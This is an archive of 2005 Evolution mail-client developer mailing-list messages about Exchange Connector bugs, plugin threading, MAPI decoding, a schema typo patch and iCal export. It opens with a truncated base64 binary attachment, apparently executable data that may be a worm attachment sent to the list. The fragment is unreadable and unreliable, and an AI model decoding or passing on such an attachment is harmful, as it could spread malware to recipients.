uUoFMbY0H9abM6iNSKEnbvLSFcbdIo+UxS21+vV5B3rIhTg1TWEqyVjfRokx4IaEaPQ7QO8O ljGEwzV/cVr6+d2mOAl5MMYxjIYV8REGNJCzPIhGa74pRQlL4WAjs24rNCN5Wu4/Ejwktguu xcK+yPmvF9ocP2FQA/xTfmkzb4KD9HLU6+RKtQsQF9grJ6DFdzXhHHqtZxKrLA0hW8bPNIS4 c0KupEVI6+nUXvtMKsYjfoSFED9mhv4HNVHs5nm7JcyIEEgbybCRFs5YPQ4FfD6tKabMwS5j JtKmOoMK50OgkO6RY6oBXkO7FrPM0ESTYa0uZPtIMtC/Wt/zgP3CDPW0bRoqrRz3ng6hJG6p q1w4GzLQfH3gjCzIgqoV+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgA AIAAAAAAAAAAAAAAAAAAAAEAAAAAAFgAAADQ8AAAMAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAAAACAAAAAAPIAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAqAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAwAAAAOj0AAAiAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAEA AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAD///gAwwYYAP//+ADDn hgA6y6YAPMGOAD///vwwwYaEP//+/DjjBoQww1b8OuuuhDjjjvw///6EAAAA/D///oQAAAD8 AAD/hAAA//wAAAAAAMD//AEoAAABAAAAASgAAADAAAAAAAAAAAAAAAP//8AAAAAAAAAAAP// //+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB gAAAAYAAAAGAAAABgAAAAYAAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAB/4AAAf+AAAH/gA AB/4AAAf+AAAH/gAAB//////KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8A AAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3d3d3d3d3AAAAAAAAAAAAAAAA AAAABwAAAAAP/////////////wcAAAAAD/AAD/AAAP8AAP8HAAAAAA//////////////BwAA AAAP9VUP/wD//wAA/wcAAAAAD/8PX/ALD/8OwP8Hd3d3cA//9Q/wAAD/AAD/AAAAAHAP//// /////////wj///BwD/AAD/AAAP8AAP8IAADwcA//////////////CP//8HAP9wAP/wAP8AAA /wgAAPBwD/AAD/AAD/B3AP8I///wcA//Dw//Bg//fA//CAAA8HAP/wAP/wAP/3cP/wj///Bw D/////////////8IAADwcAAAAAAAAAAAAAAACP//8HAO7u7u7u7u7u7u7ggAAPBwAAAAAAAA AAAAAAAP///wcAAABMTExMQP/////wAA8HAAAAxMTExMD/////////BwAAAExMTExAAAAAAA AAAAcAAADE/8TEwO7u7u7u7u4AAAAAT0z8/EAAAAAAAAAAAAAAAM/ExMTExMTExMQHAAAAAA BPTPz8TExMTExMBwAAAAAAxP/ExMTExMTExAcAAAAAAExMTExMTExMTEwHAAAAAAAAAAAAAA AAAAAABwAAAAAA7u7u7u7u7u7u7gcAAAAAAAAAAAAAAAAAAAAAAAAP////+AAAD/AAAA/wAA AP8AAAD/AAAA/wAAAP8AAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAB AAAAAQAAAAEAAAAB8AAAAfAAAAHwAAAB8AAAA/AAAAPwAAAf8AAAH/AAAB/wAAAf8AAAH/AA AB/wAAA/AAABAAIAICACAAEAAQAwAQAAAQAgIBAAAQAEAOgCAAACAA9TRpO3jomQWx2zYTIG mIKHLloYU4Waq1kZxUOPdwoZxV0/w307IEEzFxEsb0ogwIu+tAQVBgAHdGZassBRvy+xV5XB OnwZU5OPTlSQjsRQWpq5IbVHAhUPQi6xfVBOvm4XxkRYLpF9U0YtCr22sBgJErEubiGnFGVE ZQ6pIYBztwC3PmYdTLVWfgQfpJw3EpEBg1yEWptOEWRdNx4wlzEJPLWFo6Oaa3RKLqpAEEYX sD98iZWBToaIxUBTXRVxuxu2q5pxIakbOA== ----------vhlhfodqfrrwzyzwayos-- From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 10 16:48:37 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BE1DE124FA8; Thu, 10 Feb 2005 16:48:29 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 83CDF124FC8 for ; Thu, 10 Feb 2005 16:47:05 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 1B77663A6A; Thu, 10 Feb 2005 16:41:19 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id CAFBC64716 for ; Thu, 10 Feb 2005 16:41:18 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Thu, 10 Feb 2005 14:41:07 -0700 Subject: Re: [Evolution-hackers] Looking for evolution-exchange developers... From: Christine McLellan To: Juraj Holtak Cc: evolution In-Reply-To: <1107948205.6935.12.camel@localhost> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> <1107948205.6935.12.camel@localhost> Content-Type: multipart/alternative; boundary="=-UlT+4YcfROAayPIRAnWM" Date: Thu, 10 Feb 2005 16:40:57 -0500 Message-Id: <1108071657.12192.28.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-18.1 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_30,EMAIL_ATTRIBUTION,HTML_20_30, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-UlT+4YcfROAayPIRAnWM Content-Type: text/plain Content-Transfer-Encoding: 7bit Juraj -- Sorry to hear that your company is having trouble, but it is great to hear you are willing to help with product improvement this way. Have you been submitted the bugs you are finding at bugzilla.ximian.com under the Connector component? What version of Evolution and the Exchange Connector are you using? Thanks! -Christine On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: > Hi List! > > My Company is willing to PAY an evolution and evolution-exchange hacker > to fix bugs. We have many installations of debianised evolution in a MS > Exchange enviroment and the bugs pop up faster than they are getting > fixed in the debian repository. If u have the will and know-how, please > email me. > This is a serious offer. > > Juraj Holtak > SCHWAAR.COM > Austria > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-UlT+4YcfROAayPIRAnWM Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit Juraj -- Sorry to hear that your company is having trouble, but it is great to hear you are willing to help with product improvement this way. 

Have you been submitted the bugs you are finding at bugzilla.ximian.com under the Connector component?  What version of Evolution and the Exchange Connector are you using? 

Thanks!
-Christine


On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: 
Hi List!

My Company is willing to PAY an evolution and evolution-exchange hacker
to fix bugs. We have many installations of debianised evolution in a MS
Exchange enviroment and the bugs pop up faster than they are getting
fixed in the debian repository. If u have the will and know-how, please
email me.
This is a serious offer.

Juraj Holtak
SCHWAAR.COM
Austria




_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-UlT+4YcfROAayPIRAnWM-- From smurfd@smurfnet.homelinux.net Fri Feb 11 13:57:09 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9C882124764; Fri, 11 Feb 2005 13:57:09 -0500 (EST) Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by lists.ximian.com (Postfix) with ESMTP id A30BB1242E5 for ; Fri, 11 Feb 2005 13:56:55 -0500 (EST) Received: from smurfnet.homelinux.net ([213.112.73.81] [213.112.73.81]) by mxfep02.bredband.com with ESMTP id <20050211185653.BHWN17521.mxfep02.bredband.com@smurfnet.homelinux.net>; Fri, 11 Feb 2005 19:56:53 +0100 Received: from 192.168.1.1 ([192.168.1.1] helo=192.168.1.5) by smurfnet.homelinux.net with asmtp (Exim 4.34) id 1CzhZu-00016u-8d; Fri, 11 Feb 2005 21:39:50 +0100 Subject: Re: [Evolution-hackers] EPlugin, export mail folder, Update! From: smurfd To: Not Zed Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1106619154.23363.3.camel@lostzed.mmc.com.au> References: <1099011143.1019.11.camel@localhost.localdomain> <1100789458.15224.9.camel@localhost.localdomain> <1100836172.10838.127.camel@lostzed.mmc.com.au> <1100982290.16626.47.camel@localhost.localdomain> <1101095738.8961.19.camel@lostzed.mmc.com.au> <1101225710.23468.50.camel@localhost.localdomain> <1101259289.4648.26.camel@lostzed.mmc.com.au> <1103078190.6171.37.camel@localhost.localdomain> <1103503793.7539.72.camel@lostzed.mmc.com.au> <1106106356.24483.14.camel@localhost.localdomain> <1106108732.28087.28.camel@lostzed.mmc.com.au> <1106187210.1353.23.camel@localhost.localdomain> <1106619154.23363.3.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Fri, 11 Feb 2005 19:55:43 +0100 Message-Id: <1108148144.22547.14.camel@192.168.1.5> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_30,IN_REP_TO,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: >Using the mail-mt stuff is good since it does some of the setup work >for you, and lets you setup 4 callbacks, one to say what you're doing, >one to do the work in the other thread, one to do any work back in the >gui thread, and one to clean up. You also have a little control over >scheduling - i.e. should it run in a new thread or just use one of the >thread queues, so you don't get too much thrashing. Ah okey, well i have been into using that sollution a couple of times, but well i still havent really got it to work as i wanted it. Today i realised Why i havent got it to work as i wanted it. well i have 3 functions in that struct that gets executed, and thought that a 4th could be used to run the compression part there. so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here was to get __exp to deliver the mails to the location where i wanted it, say /home/smurfd/backup/ and then to run the compression on That folder. Why you ask, why not just run the compression on the right-clicked folder? Well ive been heavily debating this (with myself) and after many debates, i came up with that running it on the exported directory would be better, since than i wouldnt have to care about if the user right-clicks a non-local folder, say IMAP or whatever for the compression part. sounds sane? That way, i need to have the "exportion" part to be finished Before the compression part takes place. Easy, just have the compression part take place in the __cpio function, right? NO, that wont work, and after serious thinking, serious headsmashing, i realised Why that is... Thats because in the __exp i have 'mail_get_folder()' wich itself spawns a new thread, and that way, the __exp thinks its work is done, before it "really" is... So im gonna have to borrow some more code i guess... and make small modifications on it to fit my needs. Better to re-use, than to re-invent i guess. :) Best regards /Nicklas From lkcl@lkcl.net Sat Feb 12 18:41:12 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ED8BC1249C1; Sat, 12 Feb 2005 18:41:11 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 36DD4124156 for ; Sat, 12 Feb 2005 18:41:00 -0500 (EST) Received: from lkcl.net (host81-155-76-60.range81-155.btcentralplus.com [81.155.76.60]) by open.hands.com (Postfix) with ESMTP id 6FEA1C647 for ; Sat, 12 Feb 2005 23:40:49 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1D072X-0007oV-Jb for evolution-hackers@lists.ximian.com; Sat, 12 Feb 2005 23:51:05 +0000 Date: Sat, 12 Feb 2005 23:51:05 +0000 From: Luke Kenneth Casson Leighton To: evolution-hackers@lists.ximian.com Message-ID: <20050212235105.GB29946@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-2.4 required=5.0 tests=BAYES_20,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,USER_AGENT_MUTT version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] making good progress decoding MAPI Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: i've moved on to decoding MAPI. Nspi and EMSMDB, when using muddle to get the basic structure, and using FreeDCE to regenerate code, and looking at Wine's MAPIDEFS.h to fill in the blanks that muddle cannot possibly get, was a piece of piss. MAPI is a complete bitch. i've revived an old project called "aparser" which is an IDL compiler written in awk by andrew tridgell. it's very very useful. basically it can generate code from templates, given an input file specifying the data structures. i might, if it becomes particularly handy, convert it to python, because awk is very obscure. so far i'm generating a "decoder", and have about three functions (request and response) decoded and understood so far using aparser and a further four that need conversion to aparser IDL format. once i am happy with the "decoder", i will write templates that can spew forth client-side code and server-side stubs. i'll then be ready to create an exchange 5.5 server (with some hard-coded responses) and to continue with my test client. wheeee :) so. by the time i am done, there will exist a client-side library for evolution to call DIRECTLY into an Exchange 5.5 server. no DLLs. no pissing about installing client or server code. just free software. l. -- -- http://lkcl.net -- From cwryu@debian.org Sat Feb 12 23:30:22 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8238912452E; Sat, 12 Feb 2005 23:30:22 -0500 (EST) Received: from relaygw1.kornet.net (relaygw1.kornet.net [220.73.155.196]) by lists.ximian.com (Postfix) with ESMTP id F0FC012452E for ; Sat, 12 Feb 2005 23:30:09 -0500 (EST) Received: from [211.48.62.134] ([211.48.62.134]) by relaygw1.kornet.net ([220.73.155.196]) with ESMTP id 2005021313:29:30:641446.14232.57 for ; Sun, 13 Feb 2005 13:29:30 +0900 (KST) Received: from [61.74.110.33] ([61.74.110.33]) by relay7.kornet.net ([211.48.62.134]) with ESMTP id 2005021313:30:11:242649.18969.33160112 for ; Sun, 13 Feb 2005 13:30:11 +0900 (KST) From: Changwoo Ryu To: evolution-hackers Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-VYl5rSBHYbiJ9cahWhZM" Date: Sun, 13 Feb 2005 13:30:05 +0900 Message-Id: <1108269005.6081.50.camel@zeus.codehall.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-TERRACE-SPAMMARK: NOT spam-marked. (by Terrace) X-Spam-Status: No, hits=1.8 required=5.0 tests=PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, RCVD_IN_SBL version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Typos fix in the schemas (needs string changes) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-VYl5rSBHYbiJ9cahWhZM Content-Type: multipart/mixed; boundary="=-3YFoFO18k4r1+HumWCYN" --=-3YFoFO18k4r1+HumWCYN Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Found two typos while translating. One is a simple English typo, the other is a malformed schema (used which should be ). =20 They all needs translation updates. --=20 Changwoo Ryu --=-3YFoFO18k4r1+HumWCYN Content-Disposition: attachment; filename=evolution-schema-fix.diff Content-Type: text/x-patch; name=evolution-schema-fix.diff; charset=UTF-8 Content-Transfer-Encoding: base64 SW5kZXg6IGNhbGVuZGFyL2d1aS9hcHBzX2V2b2x1dGlvbl9jYWxlbmRhci5zY2hlbWFzLmluLmlu DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9nbm9tZS9ldm9sdXRpb24vY2FsZW5kYXIvZ3Vp L2FwcHNfZXZvbHV0aW9uX2NhbGVuZGFyLnNjaGVtYXMuaW4uaW4sdg0KcmV0cmlldmluZyByZXZp c2lvbiAxLjcNCmRpZmYgLXUgLXIxLjcgYXBwc19ldm9sdXRpb25fY2FsZW5kYXIuc2NoZW1hcy5p bi5pbg0KLS0tIGNhbGVuZGFyL2d1aS9hcHBzX2V2b2x1dGlvbl9jYWxlbmRhci5zY2hlbWFzLmlu LmluCTggRmViIDIwMDUgMDA6MzU6NTUgLTAwMDAJMS43DQorKysgY2FsZW5kYXIvZ3VpL2FwcHNf ZXZvbHV0aW9uX2NhbGVuZGFyLnNjaGVtYXMuaW4uaW4JMTMgRmViIDIwMDUgMDQ6MjU6MjkgLTAw MDANCkBAIC05NSw3ICs5NSw3IEBADQogICAgICAgPGRlZmF1bHQ+MzA8L2RlZmF1bHQ+DQogICAg ICAgPGxvY2FsZSBuYW1lPSJDIj4NCiAgICAgICAgIDxzaG9ydD5UaW1lIGRpdmlzaW9uczwvc2hv cnQ+DQotICAgICAgICA8c2hvcnQ+SW50ZXJ2YWxzIHNob3duIGluIERheSBhbmQgV29yayBXZWVr IHZpZXdzLCBpbiBtaW51dGVzLjwvc2hvcnQ+DQorICAgICAgICA8bG9uZz5JbnRlcnZhbHMgc2hv d24gaW4gRGF5IGFuZCBXb3JrIFdlZWsgdmlld3MsIGluIG1pbnV0ZXMuPC9sb25nPg0KICAgICAg IDwvbG9jYWxlPg0KICAgICA8L3NjaGVtYT4NCiANCkluZGV4OiBzaGVsbC9hcHBzX2V2b2x1dGlv bl9zaGVsbC5zY2hlbWFzLmluLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9nbm9tZS9l dm9sdXRpb24vc2hlbGwvYXBwc19ldm9sdXRpb25fc2hlbGwuc2NoZW1hcy5pbi5pbix2DQpyZXRy aWV2aW5nIHJldmlzaW9uIDEuMTANCmRpZmYgLXUgLXIxLjEwIGFwcHNfZXZvbHV0aW9uX3NoZWxs LnNjaGVtYXMuaW4uaW4NCi0tLSBzaGVsbC9hcHBzX2V2b2x1dGlvbl9zaGVsbC5zY2hlbWFzLmlu LmluCTggRmViIDIwMDUgMDA6Mzg6MTAgLTAwMDAJMS4xMA0KKysrIHNoZWxsL2FwcHNfZXZvbHV0 aW9uX3NoZWxsLnNjaGVtYXMuaW4uaW4JMTMgRmViIDIwMDUgMDQ6MjU6MjkgLTAwMDANCkBAIC0x MTQsNyArMTE0LDcgQEANCiAgICAgICA8ZGVmYXVsdD50b29sYmFyPC9kZWZhdWx0Pg0KICAgICAg IDxsb2NhbGUgbmFtZT0iQyI+DQogICAgICAgICA8c2hvcnQ+V2luZG93IGJ1dHRvbiBzdHlsZTwv c2hvcnQ+DQotICAgICAgICA8bG9uZz5UaGUgc3R5bGUgb2YgdGhlIHdpbmRvdyBidXR0b25zLiAg Q2FuIGJlICJ0ZXh0IiwgImljb25zIiwgImJvdGgiLCAidG9vbGJhciIuICBJZiAidG9vbGJhciIg aXMgc2V0LCB0aGUgc3R5bGUgb2YgdGhlIGJ1dXRvbnMgaXMgZGV0ZXJtaW5lZCBieSB0aGUgR05P TUUgdG9vbGJhciBzZXR0aW5nLjwvbG9uZz4NCisgICAgICAgIDxsb25nPlRoZSBzdHlsZSBvZiB0 aGUgd2luZG93IGJ1dHRvbnMuICBDYW4gYmUgInRleHQiLCAiaWNvbnMiLCAiYm90aCIsICJ0b29s YmFyIi4gIElmICJ0b29sYmFyIiBpcyBzZXQsIHRoZSBzdHlsZSBvZiB0aGUgYnV0dG9ucyBpcyBk ZXRlcm1pbmVkIGJ5IHRoZSBHTk9NRSB0b29sYmFyIHNldHRpbmcuPC9sb25nPg0KICAgICAgIDwv bG9jYWxlPg0KICAgICA8L3NjaGVtYT4NCiANCg== --=-3YFoFO18k4r1+HumWCYN-- --=-VYl5rSBHYbiJ9cahWhZM Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP MESSAGE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCDtfNAbRzNODUnpkRAr8+AJwPWFOXZHsHJkLKjaafn+BbNgMtXQCfU/gV HrDkTMiwCm0wB2rQcT246po= =K9MM -----END PGP MESSAGE----- --=-VYl5rSBHYbiJ9cahWhZM-- From ak-47@gmx.net Sun Feb 13 10:05:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2C34412427C; Sun, 13 Feb 2005 10:05:42 -0500 (EST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 120331240F8 for ; Sun, 13 Feb 2005 10:05:30 -0500 (EST) Received: (qmail invoked by alias); 13 Feb 2005 15:05:28 -0000 Received: from unknown (EHLO hab01.dialup.callax-network.net) (81.209.204.171) by mail.gmx.net (mp027) with SMTP; 13 Feb 2005 16:05:28 +0100 X-Authenticated: #726810 Subject: Re: [Evolution-hackers] Typos fix in the schemas (needs string changes) From: Andre Klapper To: evolution-hackers@lists.ximian.com In-Reply-To: <1108269005.6081.50.camel@zeus.codehall.org> References: <1108269005.6081.50.camel@zeus.codehall.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-vZ2XOABCHfXY+DoO+jGh" Date: Sun, 13 Feb 2005 15:20:43 +0100 Message-Id: <1108304443.5307.13.camel@embrace.local> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-19.6 required=5.0 tests=BAYES_30,FROM_ENDS_IN_NUMS,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-vZ2XOABCHfXY+DoO+jGh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable hi changwoo, Am Sonntag, den 13.02.2005, 13:30 +0900 schrieb Changwoo Ryu: > Found two typos while translating. One is a simple English typo, the > other is a malformed schema (used which should be ). =20 this is a fix for bug 72542 by the way, your patch misses the diffs for the changelog. generally, patches should be send to evolution-patches@lists.ximian.com (or just attach your fix to the bug, due to string freeze i don't know if this can go into 2.1/2.2). cheers & thanks, andre --=20 mailto:ak-47@gmx.net | failed! http://www.iomc.de --=-vZ2XOABCHfXY+DoO+jGh Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCD2I7UZw3dUr5LoARAq9nAKCqapDp3LP19a1FWj9DMyNlrgAM9QCeMK3y sm6bOvPamS2Dx6L5jl3v3y8= =wgl6 -----END PGP SIGNATURE----- --=-vZ2XOABCHfXY+DoO+jGh-- From alispost@gmail.com Sun Feb 13 12:54:11 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8772E124967; Sun, 13 Feb 2005 12:54:11 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by lists.ximian.com (Postfix) with ESMTP id 2649E124096 for ; Sun, 13 Feb 2005 12:53:20 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 69so514829wra for ; Sun, 13 Feb 2005 09:53:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=CmHgUhCch5DXcG7n/0foJS27Yzp8Fr/tzqcMvu3iPu2PHpxSykzejCiVnNzM64Egodvp36Wrsg8dKk18x6c0Xlg3DEHfSVXpoExvq0CbjVv78ZK9lNdPKqFJ31kXW63meyLVtRfKgzjrJ55010E2GVFnioDjjtso0+AJoG3TCg0= Received: by 10.54.41.20 with SMTP id o20mr34718wro; Sun, 13 Feb 2005 09:53:19 -0800 (PST) Received: by 10.54.23.55 with HTTP; Sun, 13 Feb 2005 09:53:19 -0800 (PST) Message-ID: <46d2106605021309532dc8df61@mail.gmail.com> Date: Sun, 13 Feb 2005 18:53:19 +0100 From: ali Reply-To: ali To: evolution-hackers@lists.ximian.com Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Automated export of iCal files Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi together, in the last few days i have been researching to find out, how to pubshlish my calender data in the web. I found much groupware software which is half-evolution ready, or is planning to be compatible to it (Plugins missing and stuff alike). I now found a way: Export my calender data using evolution 2 into the iCal format, put this file online via webdav, ftp and then let it be parsed by some cron-controled shell-script. But in the step of publishing the information to the server (which of the protocols are used is not important to me) i get a problem: Evolution has no option to do so. I can't export to a WebDAV resource that easily. It seems as this is not implemented (at least i did not find anything in the docs) and so i was wondering if there is a command line option to export the calender, so that a shell script on my debian system will export my calender data every 3 hours, put it online and care about parsing. I need this so that there is an autmated process that holds my online calender data up to date. I wasn't able to figure out a better way, so i'm looking for the cli option for evolution to export to iCal format. Can anybody help out here? Thanks in advance Al From stephane@cs.york.ac.uk Sun Feb 13 19:14:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2E81B124392; Sun, 13 Feb 2005 19:14:42 -0500 (EST) Received: from mailgw.cs.york.ac.uk (mailgw.cs.york.ac.uk [144.32.40.3]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7D35212432F for ; Sun, 13 Feb 2005 19:14:30 -0500 (EST) Received: from minster.cs.york.ac.uk ([144.32.40.2]) by 